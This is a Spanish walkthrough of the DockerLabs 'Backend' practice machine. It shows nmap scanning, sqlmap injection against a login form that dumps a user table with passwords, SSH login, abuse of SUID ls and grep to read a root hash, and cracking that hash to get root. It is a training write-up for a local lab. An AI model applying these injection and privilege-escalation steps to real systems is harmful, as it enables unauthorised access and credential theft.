> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/backend.md).

# Backend

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Backend** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos `7z` para extraer el contenido del archivo comprimido:

```bash
7z x backend.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FopdmFcQx5EjYcFt7zUoz%2FPasted%20image%2020250720085443.png?alt=media&amp;token=d15f1f4d-5f9d-4eb0-bb10-b1032828f282" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh backend.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F14LpIBwztWaf76QKL1T8%2FPasted%20image%2020250720085527.png?alt=media&amp;token=1b0c5ca7-0ece-407a-a460-b5b6d82eddb0" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la IP del contenedor para confirmar su disponibilidad:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQOpRwTjRHi3gWOlmoi5T%2FPasted%20image%2020250720085616.png?alt=media&amp;token=1fd9b3f8-69a1-40d5-b03c-5646cb836775" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FrE9SRzw2GycX307UFga2%2FPasted%20image%2020250720085706.png?alt=media&amp;token=66a16088-c695-431b-a571-0f984114449a" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Descubrimos:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.61.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FELo8n6L8MSKDx1o8ny8A%2FPasted%20image%2020250720085742.png?alt=media&amp;token=9db35a2a-f1b5-46ff-9b94-11c818c029a2" alt=""><figcaption></figcaption></figure>

#### **2.4. Interfaz web**

En el navegador accedemos a: `http://172.17.0.2/`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F3Jn9HnSFUZ9B728dCF97%2FPasted%20image%2020250720085847.png?alt=media&amp;token=f9239ebd-2f4f-4ece-9ebe-3ae6adaaf0f7" alt=""><figcaption></figcaption></figure>

Y exploramos el panel de inicio de sesión ubicado en: `http://172.17.0.2/login.html`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FWR1H4ouHUTWa1TLKD9Bx%2FPasted%20image%2020250720085916.png?alt=media&amp;token=8ae08c49-9250-458a-84a3-159fb829704d" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Prueba de SQL Injection**

Usamos `sqlmap` para evaluar el formulario de inicio de sesión:

```bash
sqlmap -u http://172.17.0.2/login.html --dbs --batch --forms
```

El panel de inicio de sesión es vulnerable a inyección SQL y hemos encontrado las siguientes bases de datos disponibles:

* `information_schema`.
* `mysql`.
* `performance_schema`.
* `sys`.
* `users`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZslemfRDLuLdDz2dAYwG%2FPasted%20image%2020250720090008.png?alt=media&amp;token=84c02fce-e085-4f7e-91a5-ca93438b597c" alt=""><figcaption></figcaption></figure>

#### **3.2. Enumeración de tablas**

Listamos las tablas dentro de la base de datos `users`:

```bash
sqlmap -u http://172.17.0.2/login.html --batch --forms -D users --tables
```

**Descubrimos la tabla:** `usuarios`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F7sx9k3VcJVJyuvJeWBoQ%2FPasted%20image%2020250720090136.png?alt=media&amp;token=2d8b3408-cbf1-4497-a9d7-b7b6c1fc2540" alt=""><figcaption></figcaption></figure>

#### **3.3. Volcado de datos**

Extraemos los registros de la tabla `usuarios`:

```bash
sqlmap -u http://172.17.0.2/login.html --batch --forms -D users -T usuarios --dump
```

**Contenido:**

| **id** |  **password** | **username** |
| :----: | :-----------: | :----------: |
|    1   |   $paco$123   |     paco     |
|    2   | P123pepe3456P |     pepe     |
|    3   |  jjuuaann123  |     juan     |

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FaE1xjdw7vUIbMgiWhXlp%2FPasted%20image%2020250720090245.png?alt=media&amp;token=906ccd41-f3e4-451d-ae0c-3fbb33954cc8" alt=""><figcaption></figcaption></figure>

#### **3.4. Acceso por SSH**

Probamos con las credenciales del usuario `pepe`:

```bash
ssh pepe@172.17.0.2
```

Confirmamos acceso como el usuario `pepe`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F3OuUe01JR28ZM0gPjFr8%2FPasted%20image%2020250720090330.png?alt=media&amp;token=25cbb122-266f-4521-9054-e486d0fc8792" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Identificación de binarios SUID**

Utilizamos el siguiente comando:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos que `/usr/bin/ls` y `/usr/bin/grep` tienen el bit SUID activado.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FfTQVetbEEoSMbeqfnk5y%2FPasted%20image%2020250720090429.png?alt=media&amp;token=e75be0c6-e4b5-4607-9926-cdc42deff874" alt=""><figcaption></figcaption></figure>

#### **4.2. Acceso a contenido restringido**

Listamos el directorio `/root` usando `/usr/bin/ls` con privilegios elevados:

```bash
/usr/bin/ls /root
```

Vemos un archivo llamado `pass.hash`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHPrngr8l43N3aDiotCWZ%2FPasted%20image%2020250720090521.png?alt=media&amp;token=38d8304d-3866-47e8-8f03-45088cbad589" alt=""><figcaption></figcaption></figure>

#### **4.3. Lectura del archivo**

Usamos `grep` para visualizar el contenido del archivo:

```bash
/usr/bin/grep "" /root/pass.hash
```

**El hash obtenido es:** `e43833c4c9d5ac444e16bb94715a75e4`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9iroRLWtSAvDGNLD7cry%2FPasted%20image%2020250720090624.png?alt=media&amp;token=e9ccdaaa-72d2-4c7a-9385-9ce82508ed91" alt=""><figcaption></figcaption></figure>

#### **4.4. Crackeo del hash**

Utilizamos [CrackStation](https://crackstation.net/) y logramos obtener la contraseña del usuario `root`: `spongebob34`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F19kGdSa2EHiUVDlesB1T%2FPasted%20image%2020250720090806.png?alt=media&amp;token=f614671b-a439-4d5b-b67b-c286e6234d5f" alt=""><figcaption></figcaption></figure>

#### **4.5. Escalada a root**

Ejecutamos:

```bash
su root
```

Ingresamos la contraseña (`spongebob34`) y obtenemos acceso como el usuario `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FpFvTQVMyQVwfDEy1KGbA%2FPasted%20image%2020250720090827.png?alt=media&amp;token=8b7ec5bc-8acb-40e6-aff7-4400b1493ceb" alt=""><figcaption></figcaption></figure>
